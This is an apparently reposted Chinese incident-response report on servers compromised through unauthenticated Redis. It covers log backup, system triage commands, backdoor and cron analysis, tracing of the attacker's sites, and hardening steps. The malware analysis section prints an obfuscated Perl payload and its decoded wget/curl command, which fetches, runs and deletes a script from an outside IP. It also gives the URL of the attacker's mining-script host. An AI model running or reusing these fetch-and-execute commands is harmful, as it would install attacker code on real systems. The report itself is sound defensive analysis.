133

【应急响应】redis未授权访问致远程植入挖矿脚本(防御篇)

 6 years ago
source link: http://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0 前言

       应急响应这一专题,本来并没有打算写。正如公众号的说明所言,比较想分享安全测试、漏洞赏析、渗透技巧、企业安全,其中特别是企业安全建设,这也是当初离职的初衷--到甲方看看安全怎么做?从另一个角度来全新的认识安全,同时也将在乙方的积累尽情发挥,做更多新鲜的、有挑战性的、安全落地的事情。

        记得刚到公司不久,便遇到安全事件发生。因为之前没有人处理过、没人会太在意,所以当我看到时、非常吃惊大家的不在意,内网几台服务器被远程植入挖矿脚本,情况别说有多么危急了。

1 安全事件描述

1.1 开发服务器被勒索

主机xx.xx.xx.xx出现异常:cpu高达700%,且登录出现访问外链的异常提醒:

Image

按照提示访问该链接,

https://www.zerobin.net/?abe30023883da9e6#s3HY7/0chzaTWdEtKSw86/WKkprj7x3NEEf9usy6JRs=显示该主机已经感染RANSOMWARE比特币敲诈病毒,要想避免服务器上的文件信息泄露需要想向黑客支付2个比特币。

1.2 redis主机被植入挖矿脚本

经过文件排查,以下四台主机被人植入挖矿脚本。

 x.x.x.x

    x.x.x1.x2

 x.x.x3.x4

 x.x.x5.x6

2 重要日志备份

2.1 系统日志

包括message、secure、cron、mail等系统日志。

cd /var/log &&  ls –al

压缩打包整个/var/log目录至/tmp:

tar -zcvf  /var/log.tar.gz /var/log

mv log.tar.gz  /tmp

2.2 history备份

备份history至/tmp/history.txt,用于查看恶意攻击者执行了哪些操作。

3 系统状态查看

系统状态主要包括网络、服务、端口、进程等状态,是否存在异常。

3.1 查看在线用户(未见异常账户)

last -xad

3.2 查看系统服务(待确定)

chkconfig  --list

系统开启服务较多,难以排查。

通过该命令可以查看哪些服务可能存在安全漏洞。

3.3 查看当前进程(待确定)

ps  -ef

3.4 查看开放端口(待确定)

netstat  -tunlp

3.5 查看用户信息(待确定)

cat  /etc/passwd

由于涉及到的业务较多,不能确定用户的归属。

3.6 查看最近一个月更改的文件(后门文件)

find -type f  -mtime -30

4 异常行为分析

4.1 从执行命令记录分析(存在可疑操作)

查看备份文件history.txt,分析命令执行历史,可疑行为有以下两点(待确认是否为公司内部人员操作)

4.2 从近期更改文件分析

查看最近一个月的文件更改情况并查看文件内容找到以下几个恶意文件(挖矿脚本)

经过全盘排查,涉及到的目录有:

<1> /

<2> /tmp

<3> /var/spool/cron/crontabs

<4>  /etc/cron.daily/anacron

4.2.1 分析root根目录(存在后门文件)

首先直接查看根目录,存在可执行文件

4.2.2 分析tmp文件夹(存在后门文件)

查看/tmp文件夹,存在大量后门文件

挖矿脚本等恶意脚本存放在/tmp目录下

分析root文件:

执行root文件,远程下载 i.sh,http://218.38.3.16:9999/i.sh?6379

分析i.sh文件

该文件设置定时任务,下载挖矿脚本至tmp文件夹

4.2.3 分析计划任务文件夹(存在后门文件)

查看计划任务文件夹,存在后门文件

查看文件夹 /var/spool/cron/crontabs,同样发现恶意脚本

分析/tmp/.f53ee86432aa62ba4f37a00893d1acd2文件

执行.d41d8cd98f00b204e9800998ecf8427e文件,

分析.d41d8cd98f00b204e9800998ecf8427e文件:

使用base64解密.d41d8cd98f00b204e9800998ecf8427e内容:

#!/usr/bin/perl

          system("\x77\x67\x65\x74\x20\x2D\x71\x4F\x20\x2D\x20\x68\x74\x74\x70\x3A\x2F\x2F\x36\x35\x2E\x32\x35\x34\x2E\x36\x33\x2E\x320\x2F\x61\x20\x7C\x20\x73\x68\x20\x3B\x20\x63\x75\x72\x6C\x20\x2D\x4F\x20\x68\x74\x74\x70\x3A\x2F\x2F\x36\x35\x2E\x32\x35\x34\x2E\x36\x33\x2E\x320\x2F\x61\x20\x3B\x20\x73\x68\x20\x61\x20\x3B\x20\x72\x6D\x20\x2D\x72\x66\x20\x61");

对system函数里的内容进行十六进制转换字符,可初步获知:

从65.254.63.2远程服务器上下载a脚本,先执行并删除。

wget -qO  -http://http://65.254.63.2/a; sh a;  rm  -rf a

4.2.4 分析etc计划任务文件(源后门文件)

查看计划任务文件夹,存在后门文件anacron。该文件主要是控制远程下载、主机计划任务设置等黑客行为。

cat /etc/cron.daily/anacron

4.3 评估影响范围

经过对各个后门文件的分析,在/tmp目录中存在H文件,其内容包含内网相关主机,疑似是恶意攻击者的攻击目标:

分别登录主机x.x.x.x、x.x.x.a、x.x.x.b、x.x.x.c的ssh failed日志进行分析,发现以下登录失败记录(标红主机也需要关注):

 x.x.x.x <--> x.x.x.a       主机x登录a失败,a登录x失败
 x.x.x.x <--> x.x.x.b       主机b登录x失败
 x.x.x.x <--> x.x.x.c       主机c登录x失败

5 恶意脚本排查

5.1 webshell查杀

使用webshell查杀脚本进行扫扫描

<1>查看web应用路径为:/httx/run/

find / -name  info-index.html

<2>上传并执行scanWebshell.py

python scanWebshell.py  /httx/run

扫描完成,未扫到webshell文件。

5.2 rootkit恶意程序检测

rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检测各种已知的rootkit特征码以外,还支持端口扫描、常用程序文件的变动情况检查。

结合目前的检查情况和未经允许安装rkhunter来看,该操作尚未进行。

6 回溯攻击源头

6.1 挖矿脚本提供站点

访问http://218.38.3.16:9999/,这是攻击者一个提供恶意脚本下载的网站

查看该IP地址来源于韩国

6.2 恶意文件提供站点

访问http://65.254.63.2/a,浏览器提示欺诈网站

查看该IP地址来源于美国

7 安全加固防范

7.1 控制影响范围

首先应对x.x.x.x进行下线(断绝外网)处理,阻断与外界恶意攻击者之间的通信,但是由于很多业务都在上面运行实施起来有一定难度。

其次,应该对以下疑似被攻击的主机进行安全排查,查找是否存在webshell、后门下载文件及挖矿文件。

x.x.x.a

x.x.x.b

x.x.x.c

x.x.x.d

x.x.x.e

......

7.2 删除后门文件

为了避免继续被控制以及更多内网主机沦陷,需要及时清理掉已经发现的后门文件及计划任务(暂时发现上面提到的四个路径)。

7.3 安全漏洞扫描

由于被入侵的可能性存在多种可能性,比如:

(1)    由于之前的钓鱼邮件引发的apt攻击

(2)    可能与最开始发现的redis挖矿安全事件相关

(3)    有可能由于该服务器上业务太多且开放端口全部映射到外网导致恶意攻击者攻击,即打开内网大门的钥匙……

目前还并未对该主机进行渗透测试和漏洞扫描,未发现该主机存在何种漏洞。按照正常的应急流程应该在分析各种日志的基础上进行渗透测试,及时迅速查找安全漏洞(被入侵原因)并进行安全加固,方可再次上线。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK